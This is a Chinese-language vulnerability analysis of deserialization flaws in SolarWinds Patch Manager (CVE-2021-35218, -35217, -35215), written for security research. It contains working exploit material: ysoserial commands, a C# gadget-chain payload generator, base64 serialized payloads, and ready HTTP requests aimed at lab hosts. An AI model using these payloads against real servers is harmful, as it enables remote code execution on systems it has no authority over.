SolarWinds PM反序列化漏洞分析

SolarWinds PM反序列化漏洞分析

前言

这段时间一直对Net的反序列化的一些漏洞利用比较有兴趣,简单跟跟漏洞

XmlSerializer 反序列化

在此之前先来熟悉一下XmlSerializer的反序列化漏洞

反序列过程:将xml文件转换为对象是通过创建一个新对象的方式调用XmlSerializer.Deserialize方法实现的,在序列化最关键的一环当属new XmlSerializer构造方法里所传的参数,这个参数来自System.Type类,通过这个类可以访问关于任意数据类型的信息,指向任何给定类型的Type引用有以下三种方式。

XmlSerializer xmlSerializer1 = new XmlSerializer(typeof(Person));// typeof()
XmlSerializer xmlSerializer2 = new XmlSerializer(p.GetType()); // 对象的GetType()方法
XmlSerializer xmlSerializer3 = new XmlSerializer(Type.GetType("XmlDeserialization.Person")); //使用命名空间加类名

Type.GetType()是Type类的静态方法GetType,这个方法的参数允许外部传入的这时候只需要输入全限定名就可以调用该类中的方法、属性等。

image-20220909135321688

Binaryformatter 反序列化

使用BinaryFormatter类序列化的过程中,用[Serializable]声明这个类是可以被序列化的。Binaryformatter的反序列化漏洞触发比较简单,需要反序列化内容可控即可。

详细文件可到 BinaryFormatter反序列化漏洞查看

ysoserial.exe -g TextFormattingRunProperties -c "cmd.exe" -f binaryformatter 
ysoserial.exe -g ActivitySurrogateSelectorFromFile -c "cmd.cs;System.Web.dll;System.dll" -f binaryformatter
ysoserial.exe -g ActivitySurrogateSelector -c "cmd.exe" -f binaryformatter 
ysoserial.exe -f binaryformatter -g  RolePrincipal --minify -c "cmd.exe"  

CVE-2021-35218漏洞

寻找漏洞点

根据y4er师傅文章找到漏洞点位于SolarWinds.PM.Web.Charting.ScmChartImageHandler

image-20220909150922866

tp参数为type可控内容,chart参数为反序列化内容。可看到传入为base64后的内容。

寻找漏洞入口

全局搜索ScmChartImageHandler类的应用发现,/Orion/PM/Chart.ashx中继承了ScmChartImageHandler,ScmChartImageHandler继承IHttpHandler,请求会经过ProcessRequest

即访问/Orion/PM/Chart.ashx,即可进入ScmChartImageHandler请求。

image-20220909151512997

漏洞调试

看到代码

public void ProcessRequest(HttpContext context)
		{
			XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(context.Request.QueryString["tp"]));
			using (MemoryStream memoryStream = new MemoryStream(Base64Helper.Base64Decode(context.Request.QueryString["chart"])))
			{
				using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Decompress))
				{
					ChartInfo chartInfo = ((SerializableChartInfo)xmlSerializer.Deserialize(XmlReader.Create(deflateStream))).CreateChartInfo();
					if (chartInfo != null)
					{
						context.Response.ContentType = "image/png";
						using (ChartBase chartBase = chartInfo.CreateChart())
						{
							using (MemoryStream memoryStream2 = new MemoryStream())
							{
								chartBase.DataBind(chartInfo.LoadData());
								chartBase.GetAsImage(memoryStream2, ImageFormat.Png);
								memoryStream2.WriteTo(context.Response.OutputStream);
//		...

获取tp传入type,并且获取chart取得反序列化内容进行反序列化

在测试中发现生成数据后进行base64加密,并不行,随后发现代码中有该行代码

using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Decompress))

使用了DeflateStream进行解压缩,就意味着彻底数据必须使用该类进行加密压缩。

把y4er师傅的POC扣过来

using System;
using System.Collections.Specialized;
using System.Data.Services.Internal;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Text;
using System.Web;
using System.Windows.Data;
using System.Windows.Markup;
using System.Xml.Serialization;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = "cmd";
            psi.Arguments = "/c cmd";
            StringDictionary dict = new StringDictionary();
            psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
            Process p = new Process();
            p.StartInfo = psi;
            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodName = "Start";
            odp.IsInitialLoadEnabled = false;
            odp.ObjectInstance = p;

            string xamlpayload = XamlWriter.Save(odp);
            //Console.WriteLine(xamlpayload);

            ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
            expandedWrapper.ProjectedProperty0.MethodName = "Parse";
            expandedWrapper.ProjectedProperty0.MethodParameters.Add(xamlpayload);
            expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();

            XmlSerializer xmlSerializer = new XmlSerializer(expandedWrapper.GetType());
            using (MemoryStream memoryStream = new MemoryStream())
            {
                using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress))
                {
                    xmlSerializer.Serialize(deflateStream, expandedWrapper);
                    deflateStream.Flush();
                    deflateStream.Close();
                    string text = Base64Encode(memoryStream.ToArray());
                    Console.WriteLine(text);
                }
            }
            Console.ReadKey();
        }
        public static string Base64Encode(byte[] str)
        {
            return HttpServerUtility.UrlTokenEncode(Encoding.UTF8.GetBytes(Convert.ToBase64String(str)));
        }
        public static byte[] Base64Decode(string str)
        {
            byte[] bytes = HttpServerUtility.UrlTokenDecode(str);
            return Convert.FromBase64String(Encoding.UTF8.GetString(bytes));
        }
    }
}

image-20220909152253979

image-20220909152246933

EditTopXX Binaryformatter反序列化

SolarWinds的\Orion\PM\Controls\EditResourceControls\EditTopXX.aspx.cs

image-20220909173101446

namespace SolarWinds.PM.Web.Helper
{
	// Token: 0x0200005D RID: 93
	public class Serializer
	{
		// Token: 0x06000294 RID: 660 RVA: 0x0000B7A0 File Offset: 0x000099A0
		public static string Serialize(object parameters)
		{
			string result;
			using (MemoryStream memoryStream = new MemoryStream())
			{
				new BinaryFormatter().Serialize(memoryStream, parameters);
				result = Base64Helper.Base64Encode(memoryStream.ToArray());
			}
			return result;
		}

		// Token: 0x06000295 RID: 661 RVA: 0x0000B7E8 File Offset: 0x000099E8
		public static T Deserialize<T>(string serializedObject)
		{
			T result;
			using (Stream stream = new MemoryStream(Base64Helper.Base64Decode(serializedObject)))
			{
				result = (T)((object)new BinaryFormatter().Deserialize(stream));
			}
			return result;
		}
	}

使用BinaryFormatter进行反序列化,并且没做校验

ThwackData参数中插入反序列化数据。

使用yso生成反序列化数据

ysoserial.exe -g TextFormattingRunProperties -c "cmd.exe" -f binaryformatter --minify
ysoserial.exe -g TextFormattingRunProperties -c "cmd.exe" -f binaryformatter 

起初使用burp将数据给base64编码,发现命令并不能执行成功。

后面使用代码进行base64编码就可以了

var payload = HttpServerUtility.UrlTokenEncode(Encoding.UTF8.GetBytes("AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAtQU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtOCI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY21kLmV4ZSIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L"));
            Console.WriteLine(payload);

看了一下主要区别在于下图中

image-20220909174305564

HttpServerUtility.UrlTokenEncode(Byte[]) 方法,将一个字节数组编码为使用 Base 64 编码方案的等效字符串表示形式,Base 64 是一种适于通过 URL 传输数据的编码方案。

代码中的Base64Decode,首先是调用了HttpServerUtility.UrlTokenDecodebase64解密,然后在使用Convert.FromBase64String进行第二次base64解密

public static byte[] Base64Decode(string str)
		{
			byte[] bytes = HttpServerUtility.UrlTokenDecode(str);
			return Convert.FromBase64String(Encoding.UTF8.GetString(bytes));
		}
http://172.16.108.221:8787/Orion/PM/Controls/EditResourceControls/EditTopXX.aspx?ThwackData=QUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFGNU5hV055YjNOdlpuUXVVRzkzWlhKVGFHVnNiQzVGWkdsMGIzSXNJRlpsY25OcGIyNDlNeTR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmowek1XSm1NemcxTm1Ga016WTBaVE0xQlFFQUFBQkNUV2xqY205emIyWjBMbFpwYzNWaGJGTjBkV1JwYnk1VVpYaDBMa1p2Y20xaGRIUnBibWN1VkdWNGRFWnZjbTFoZEhScGJtZFNkVzVRY205d1pYSjBhV1Z6QVFBQUFBOUdiM0psWjNKdmRXNWtRbkoxYzJnQkFnQUFBQVlEQUFBQXRRVThQM2h0YkNCMlpYSnphVzl1UFNJeExqQWlJR1Z1WTI5a2FXNW5QU0oxZEdZdE9DSS9QZzBLUEU5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2lCTlpYUm9iMlJPWVcxbFBTSlRkR0Z5ZENJZ1NYTkpibWwwYVdGc1RHOWhaRVZ1WVdKc1pXUTlJa1poYkhObElpQjRiV3h1Y3owaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3dmNISmxjMlZ1ZEdGMGFXOXVJaUI0Yld4dWN6cHpaRDBpWTJ4eUxXNWhiV1Z6Y0dGalpUcFRlWE4wWlcwdVJHbGhaMjV2YzNScFkzTTdZWE56WlcxaWJIazlVM2x6ZEdWdElpQjRiV3h1Y3pwNFBTSm9kSFJ3T2k4dmMyTm9aVzFoY3k1dGFXTnliM052Wm5RdVkyOXRMM2RwYm1aNEx6SXdNRFl2ZUdGdGJDSStEUW9nSUR4UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvZ0lDQWdQSE5rT2xCeWIyTmxjM00rRFFvZ0lDQWdJQ0E4YzJRNlVISnZZMlZ6Y3k1VGRHRnlkRWx1Wm04K0RRb2dJQ0FnSUNBZ0lEeHpaRHBRY205alpYTnpVM1JoY25SSmJtWnZJRUZ5WjNWdFpXNTBjejBpTDJNZ1kyMWtMbVY0WlNJZ1UzUmhibVJoY21SRmNuSnZja1Z1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVTNSaGJtUmhjbVJQZFhSd2RYUkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRlZ6WlhKT1lXMWxQU0lpSUZCaGMzTjNiM0prUFNKN2VEcE9kV3hzZlNJZ1JHOXRZV2x1UFNJaUlFeHZZV1JWYzJWeVVISnZabWxzWlQwaVJtRnNjMlVpSUVacGJHVk9ZVzFsUFNKamJXUWlJQzgrRFFvZ0lDQWdJQ0E4TDNOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUR3dmMyUTZVSEp2WTJWemN6NE5DaUFnUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNEw1

image-20220909165837577

image-20220909165906463

image-20220909180537969

遇到该漏洞只能使用get请求,有一些长度上的限制。可使用yso的--minify参数压缩payload

image-20220909162301763

CVE-2021-35217 漏洞分析

漏洞分析

定位到漏洞点/Orion/PM/Controls/WSAsyncExecuteTasks.aspx

 private class JSTaskItem
    {
        public string ResourceId { get; set; }
        public string Hash { get; set; }
        public string ServerMethod { get; set; }
        public String ServerControlDefinition { get; set; }
        public object[] Parameters { get; set; }
    }

//...

protected override void OnInit(EventArgs e)
    {
        try
        {
            log.Debug("Start to async load page resources");

            Response.Cache.SetCacheability(HttpCacheability.NoCache);

            var serializer = new JavaScriptSerializer();
            var reader = new StreamReader(Page.Request.InputStream, Encoding.UTF8, true);
            var data = reader.ReadToEnd();

            this.JSONData = serializer.Deserialize<JSTaskItem[]>(data);
            this.Return = new List<JSReturnItem>();
            this.ControlsReturn = new List<ControlsReturnItem>();

            var dt = DateTime.Now;
            this.ServerState = new CheckEWDataGridAvailabilityDAL().CheckAvailability(false);
            log.DebugFormat("Check Service Availability took {0}ms", (DateTime.Now - dt).TotalMilliseconds);
        }
        catch (Exception ex)
        {
            foreach (var item in this.JSONData)
            {
                this.Return.Add(new JSReturnItem(item, true, new Dictionary<String, object>()
                                {
                                    { "Result", null },
                                    { "DataResultState", "JustMessage" },
                                    { "Message", ResourceHelper.GetErrorMessageHtml(new ErrorInspectorDetails() { Title = ex.GetType().Name, Error = ex }) },
                                }));
            }
            return;
        }

        foreach (var item in this.JSONData)
            ExecuteItem(item);

        base.OnInit(e);
    }

获取InputStream进行JavaScriptSerializer,但在new JavaScriptSerializer()中并没有SimpleTypeResolver没法进行 JavaScriptSerializer反序列化漏洞利用。

反序列化后遍历反序列化后的数据this.JSONData,进行遍历传入调用ExecuteItem.

来到ExecuteItem方法

 private void ExecuteItem(JSTaskItem item)
    {
        if (item.ServerControlDefinition != null)
        {
            try
            {
                var contorlDefinition = System.Web.HttpUtility.UrlDecode(item.ServerControlDefinition);
                var contorlDefinitionSplitted = contorlDefinition.Split(new char[] { '|' }, StringSplitOptions.RemoveEmptyEntries);

                var parameters = new Dictionary<String, String>();
                foreach (var query in contorlDefinitionSplitted)
                {
                    var name = query.Substring(0, query.IndexOf("="));
                    var value = query.Substring(name.Length + 1);

                    parameters.Add(name, value);
                }

                var obj = LoadControl(parameters["Control"]);
                if (obj is ScmResourceBaseAsync)
                {
                    dataDiv.Controls.Add(obj);

                    foreach (var propertyItem in parameters.Where(s => s.Key.Contains("config.")))
                        PropertySetter.SetProperty(obj, propertyItem.Key.Replace("config.", ""), propertyItem.Value);

                    PropertySetter.SetProperty(obj, "AllowAdmin", Profile.AllowAdmin);
                    PropertySetter.SetProperty(obj, "ServerState", this.ServerState);

                    this.ControlsReturn.Add(new ControlsReturnItem(item, obj as ScmResourceBaseAsync, parameters["Control"]));
                }
                else
                {
                    this.Return.Add(new JSReturnItem(item, true, new Dictionary<String, object>()
                                {
                                    { "Result", null },
                                    { "DataResultState", "JustMessage" },
                                    { "Message", ResourceHelper.GetErrorMessageHtml(new ErrorInspectorDetails() { Title = "Security Exception", Error = new Exception("Unable to load async control, because it is not secure.") }) },
                                }));
                }
            }
            catch (Exception ex)
            {
                this.Return.Add(new JSReturnItem(item, true, new Dictionary<String, object>()
                                {
                                    { "Result", null },
                                    { "DataResultState", "JustMessage" },
                                    { "Message", ResourceHelper.GetErrorMessageHtml(new ErrorInspectorDetails() { Title = "Unable to load resource", Error = ex }) },
                                }));
            }
        }
        else
        {
            var dt = DateTime.Now;

            try
            {
                var methodSubscription = item.ServerMethod.Split(';');
                string typeString = methodSubscription[0];
                string methodString = methodSubscription[1];

                var type = Type.GetType(typeString);
                var method = type.GetMethod(methodString);

                bool secureMethod = false;
                foreach (var attr in method.GetCustomAttributes(true))
                {
                    if (attr is WSAsyncExecuteMethodAttribute)
                    {
                        WSAsyncExecuteMethodAttribute attribute = attr as WSAsyncExecuteMethodAttribute;
                        if (attribute.IsSecureMethod)
                        {
                            secureMethod = true;
                            break;
                        }
                    }
                }

                if (!secureMethod)
                {
                    this.Return.Add(new JSReturnItem(item, true, new Dictionary<String, object>()
                                {
                                    { "Result", null },
                                    { "DataResultState", "JustMessage" },
                                    { "Message", ResourceHelper.GetErrorMessageHtml(new ErrorInspectorDetails() { Title = "Security Exception", Error = new Exception("Unable to execute method, because it is not secure.") }) },
                                }));
                }

获取ServerControlDefinition参数内容以|分割参数,截取分割后的值分以=在此分割value/key值,传递到parameters对象中。

 var obj = LoadControl(parameters["Control"]);
                if (obj is ScmResourceBaseAsync)
                {
                    dataDiv.Controls.Add(obj);

                    foreach (var propertyItem in parameters.Where(s => s.Key.Contains("config.")))
                        PropertySetter.SetProperty(obj, propertyItem.Key.Replace("config.", ""), propertyItem.Value);

                    PropertySetter.SetProperty(obj, "AllowAdmin", Profile.AllowAdmin);
                    PropertySetter.SetProperty(obj, "ServerState", this.ServerState);

                    this.ControlsReturn.Add(new ControlsReturnItem(item, obj as ScmResourceBaseAsync, parameters["Control"]));
                }

使用LoadControl动态加载控件,控件得为ScmResourceBaseAsync类型。并且后面会将参数的key值,config.字符替换为空

Control需要传入一个继承的ScmResourceBaseAsync的控件路径。

using System;
using System.Reflection;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using SolarWinds.Logging;
using SolarWinds.Orion.Web;
using SolarWinds.PM.Common.Enums;
using SolarWinds.PM.Common.Model;
using SolarWinds.PM.Web.Helper;

namespace SolarWinds.PM.Web.Resources
{
	// Token: 0x0200001C RID: 28
	public class ScmResourceBaseAsync : UserControl
	{
		

		// Token: 0x0600008A RID: 138 RVA: 0x00004540 File Offset: 0x00002740
		protected override void OnLoad(EventArgs e)
		{
			this.IsDone = true;
			DateTime now = DateTime.Now;
			if (!string.IsNullOrEmpty(this.PreLoadMethodSerial))
			{
				string[] array = this.PreLoadMethodSerial.Split(new char[]
				{
					';'
				});
				string typeName = array[0];
				string name = array[1];
				Type type = Type.GetType(typeName);
				object obj = Activator.CreateInstance(type);
				MethodInfo method = type.GetMethod(name);
				System.Reflection.PropertyInfo property = type.GetProperty("DataResultState");
				TaskResult taskResult = new TaskResult
				{
					Outcome = TaskOutcome.Success
				};
				string title = string.Empty;
				try
				{
					method.Invoke(obj, new object[]
					{
						Serializer.Deserialize<object[]>(this.ParametersSerial),
						this.ServerState
					});
				}

image-20220910004726737

image-20220910004748182

POC 构造

POST /Orion/PM/Controls/WSAsyncExecuteTasks.aspx HTTP/1.1
Host: 192.168.137.130:8787
Content-Length: 2901
Cache-Control: max-age=0
Origin: http://192.168.137.130:8787
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.130:8787/Orion/PM/Controls/WSAsyncExecuteTasks.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: x x x
Connection: close

[{"ResourceId":null,"Hash":null,"ServerMethod":null,"ServerControlDefinition":"Control=~/Orion/PM/Controls/Update/GroupsMissingUpdateCtrl.ascx|config.ParametersSerial=QUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFFMVRlWE4wWlcwdVYyVmlMQ0JXWlhKemFXOXVQVFF1TUM0d0xqQXNJRU4xYkhSMWNtVTlibVYxZEhKaGJDd2dVSFZpYkdsalMyVjVWRzlyWlc0OVlqQXpaalZtTjJZeE1XUTFNR0V6WVFVQkFBQUFJVk41YzNSbGJTNVhaV0l1VTJWamRYSnBkSGt1VW05c1pWQnlhVzVqYVhCaGJBRUFBQUFxVTNsemRHVnRMbE5sWTNWeWFYUjVMa05zWVdsdGMxQnlhVzVqYVhCaGJDNUpaR1Z1ZEdsMGFXVnpBUUlBQUFBR0F3QUFBT1FKUVVGRlFVRkJSQzh2THk4dlFWRkJRVUZCUVVGQlFVRk5RV2RCUVVGR05VNWhWMDU1WWpOT2RscHVVWFZWUnpreldsaEtWR0ZIVm5OaVF6VkdXa2RzTUdJelNYTkpSbHBzWTI1T2NHSXlORGxOZVRSM1RHcEJkVTFEZDJkUk0xWnpaRWhXZVZwVU1YVmFXRll3WTIxR2MweERRbEZrVjBwellWZE9URnBZYkZWaU1uUnNZbW93ZWsxWFNtMU5lbWN4VG0xR2EwMTZXVEJhVkUweFFsRkZRVUZCUWtOVVYyeHFZMjA1ZW1JeVdqQk1iRnB3WXpOV2FHSkdUakJrVjFKd1luazFWVnBZYURCTWExcDJZMjB4YUdSSVVuQmliV04xVmtkV05HUkZXblpqYlRGb1pFaFNjR0p0WkZOa1Z6VlJZMjA1ZDFwWVNqQmhWMVo2UVZGQlFVRkJPVWRpTTBwc1dqTktkbVJYTld0UmJrb3hZekpuUWtGblFVRkJRVmxFUVVGQlFYcFJWVGhRTTJoMFlrTkNNbHBZU25waFZ6bDFVRk5KZUV4cVFXbEpSMVoxV1RJNWEyRlhOVzVRVTBveFpFZFpkRTlEU1M5UVp6QkxVRVU1YVdGdFZtcGtSVkpvWkVkR1VXTnRPVEpoVjFKc1kybENUbHBZVW05aU1sSlBXVmN4YkZCVFNsUmtSMFo1WkVOSloxTllUa3BpYld3d1lWZEdjMVJIT1doYVJWWjFXVmRLYzFwWFVUbEphMXBvWWtoT2JFbHBRalJpVjNoMVkzb3dhV0ZJVWpCalJHOTJURE5PYW1GSFZuUlpXRTExWWxkc2FtTnRPWHBpTWxvd1RHMU9kbUpUT1ROaFZ6VnRaVU00ZVUxRVFUSk1NMmhvWWxkM2RtTklTbXhqTWxaMVpFZEdNR0ZYT1hWSmFVSTBZbGQ0ZFdONmNIcGFSREJwV1RKNGVVeFhOV2hpVjFaNlkwZEdhbHBVY0ZSbFdFNHdXbGN3ZFZKSGJHaGFNalYyWXpOU2NGa3pUVGRaV0U1NldsY3hhV0pJYXpsVk0yeDZaRWRXZEVscFFqUmlWM2gxWTNwd05GQlRTbTlrU0ZKM1QyazRkbU15VG05YVZ6Rm9ZM2sxZEdGWFRubGlNMDUyV201UmRWa3lPWFJNTTJSd1ltMWFORXg2U1hkTlJGbDJaVWRHZEdKRFNTdEVVVzluU1VSNFVGbHRjR3haTTFKRldWaFNhRlZJU25aa2JXeHJXbGhKZFZReVNuRmFWMDR3VTFjMWVtUkhSblZaTWxVclJGRnZaMGxEUVdkUVNFNXJUMnhDZVdJeVRteGpNMDByUkZGdlowbERRV2RKUTBFNFl6SlJObFZJU25aWk1sWjZZM2sxVkdSSFJubGtSV3gxV20wNEswUlJiMmRKUTBGblNVTkJaMGxFZUhwYVJIQlJZMjA1YWxwWVRucFZNMUpvWTI1U1NtSnRXblpKUlVaNVdqTldkRnBYTlRCamVqQnBUREpOWjJOSGJIVmFlVUUwVFZSWk0wMVhXbXRPVXpWclltNU5kVmx1YkhkWldFNTZURzFXTVV4dE9YbGFlVWxuVlROU2FHSnRVbWhqYlZKR1kyNUtkbU5yVm5WWk1qbHJZVmMxYmxCVFNqZGxSSEJQWkZkNGMyWlRTV2RWTTFKb1ltMVNhR050VWxCa1dGSjNaRmhTUm1KdFRuWmFSMngxV25vd2FXVXpaelpVYmxaellrZ3dhVWxHVm5wYVdFcFBXVmN4YkZCVFNXbEpSa0pvWXpOT00ySXpTbXRRVTBvM1pVUndUMlJYZUhObVUwbG5Va2M1ZEZsWGJIVlFVMGxwU1VWNGRsbFhVbFpqTWxaNVZVaEtkbHB0YkhOYVZEQnBVbTFHYzJNeVZXbEpSVnB3WWtkV1QxbFhNV3hRVTBwcVlsZFJhVWxET0N0RVVXOW5TVU5CWjBsRFFUaE1NMDVyVDJ4Q2VXSXlUbXhqTTAxMVZUTlNhR051VWtwaWJWcDJVR2N3UzBsRFFXZEpSSGQyWXpKUk5sVklTblpaTWxaNlkzbzBUa05wUVdkUVF6bFFXVzF3YkZrelVrVlpXRkpvVlVoS2RtUnRiR3RhV0VsMVZESktjVnBYVGpCVFZ6VjZaRWRHZFZreVZTdEVVVzg0VERBNWFXRnRWbXBrUlZKb1pFZEdVV050T1RKaFYxSnNZMm8wVEFzPQ2|config.PreLoadMethodSerial=SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models;asd","Parameters":[]}]

image-20220910014037590

image-20220910014007906

POC 扣的y4er师傅的CVE-2021-35217 SolarWinds PM WSAsyncExecuteTasks RCE

CVE-2021-35215 漏洞分析

\Orion\RenderControl.aspx.cs

   protected override void OnInit(EventArgs e)
    {
        if (Request.HttpMethod == "POST" && Request.InputStream.Length > 0)
        {
            using (var reader = new StreamReader(Page.Request.InputStream, Encoding.UTF8, true))
            {
                try
                {
                // probably noone sends those anyway
                    JsonData = PropertySetter.LoadJsonData(reader);
                }
                catch
                {
                    JsonData = null; 
                }
            }
        }
      if (JsonData == null)
            JsonData = new Dictionary<string, object>();

        var addedResourceId = AddResourceIfPossible();
        var paramResourceId = GetParam(ParamResourceID) ?? string.Empty;
        int resourceId;
        int.TryParse(paramResourceId, out resourceId);
        
        ControlPlaceHolder = new PlaceHolderWithID();
        ControlPlaceHolder.ID = "Resource" + resourceId;

        Page.Form.Controls.Add(ControlPlaceHolder);

        if (InitWebResource(addedResourceId) == false)
        {
            // not a web resource. must be another control.

            string ctrl = GetParam(ParamControl);

            if (string.IsNullOrEmpty(ctrl))
                throw new ArgumentException("Page requires " + ParamControl + " or " + ParamResourceID + " in query string");

            System.Web.UI.Control controlToRender = null;

            if (ctrl.StartsWith("SolarWinds.Orion.Web"))
            {
                // todo: modular plugin
                controlToRender = Activator.CreateInstance("OrionWeb", ctrl).Unwrap() as Control;
            }
            else
            {
                controlToRender = LoadControl(ctrl);
            }

            ApplyPropertiesAndAttributes(controlToRender);

            ControlPlaceHolder.Controls.Add(controlToRender);
        }

        base.OnInit(e);

        Response.Cache.SetCacheability(HttpCacheability.NoCache);
    }

加载json数据反序列化为一个JsonData对象,然后 string ctrl = GetParam(ParamControl);加载

GetParam方法

  string GetParam(string name)
    {
        string ret = Request.QueryString[name];

        if (ret != null)
            return HttpUtility.HtmlEncode(ret);

        
        object fetch;

        if (JsonData.TryGetValue(name, out fetch))
            return fetch == null ? null : fetch as string;

        if (JsonData.TryGetValue("IgnoreResourceID", out fetch) && Boolean.Parse(fetch.ToString()))
            return null;

        return HttpUtility.HtmlEncode(Request.Form[name]);
    }

下面调用string ctrl = GetParam(ParamControl);获取json中的Control参数,controlToRender = LoadControl(ctrl);进行控件加载

ApplyPropertiesAndAttributes(controlToRender);

 void ApplyPropertiesAndAttributes(System.Web.UI.Control controlToRender)
    {
        const string prefixConfig = "config.";
        const string prefixAttrib = "attrib.";

        object fetch;

        var attrs = GetAttributes(controlToRender);

        // configuration values

        foreach (string key in Request.QueryString.AllKeys.Where(x => x != null && x.StartsWith(prefixConfig, StringComparison.OrdinalIgnoreCase)))
            PropertySetter.SetProperty(controlToRender, key.Substring(prefixConfig.Length), HttpUtility.HtmlEncode(Request.QueryString[key]));

        if (JsonData != null && JsonData.TryGetValue(prefixConfig.Substring(0, prefixConfig.Length - 1), out fetch))
            PropertySetter.SetProperties( controlToRender, fetch as Dictionary<string, object> );

        if (attrs == null)
            return;

        foreach (string key in Request.QueryString.AllKeys.Where(x => x != null && x.StartsWith(prefixAttrib, StringComparison.OrdinalIgnoreCase)))
            attrs[key.Substring(prefixAttrib.Length)] = HttpUtility.HtmlEncode(Request.QueryString[key]);

        if (JsonData != null && JsonData.TryGetValue(prefixAttrib.Substring(0, prefixAttrib.Length - 1), out fetch) && fetch != null)
        {
            Dictionary<string, object> attrib = fetch as Dictionary<string, object>;

            if (attrib != null)
            {
                foreach (var pair in attrib.Where( x => x.Value is string ) )
                    attrs[pair.Key] = pair.Value as string;
            }
        }
    }

image-20220910150129593

获取json里面的config的值,对获取到的控件object对象设置属性

PropertySetter.SetProperties代码

 static public bool SetProperty(object obj, string name, object value)
        {
            if( obj == null || name == null )
                return false;

            var _t = obj.GetType();
            var prop = _t.GetProperty(name);

            if (prop == null || prop.CanWrite == false)
                return false;

            try
            {
                object converted;

                if (value == null)
                {
                    converted = prop.PropertyType.IsValueType == false ?
                        null :
                        Activator.CreateInstance(prop.PropertyType);
                }
                else if (value.GetType() == prop.PropertyType)
                {
                    converted = value;
                }
                else if (value is string)
                {
                    if (ToType(prop.PropertyType, value as string, out converted) == false)
                        return false;
                }
                else
                {
                    converted = Convert.ChangeType(value, prop.PropertyType);
                }

                prop.SetValue(obj, converted, null);
                return true;
            }
            catch (Exception ex)
            {
            }

            return false;
        }

SetProperty()会继续调用PropertyInfoconverted是从 JsonData获取到的,在PropertyInfo。SetValue(),将调用模板的 Setter 方法来重置值

现在串联起来就是可以调用继承了System.Web.UI.Control对象的任意setter方法

然后找到了SolarWinds.Orion.Web.Actions.ActionPluginBaseView这个类

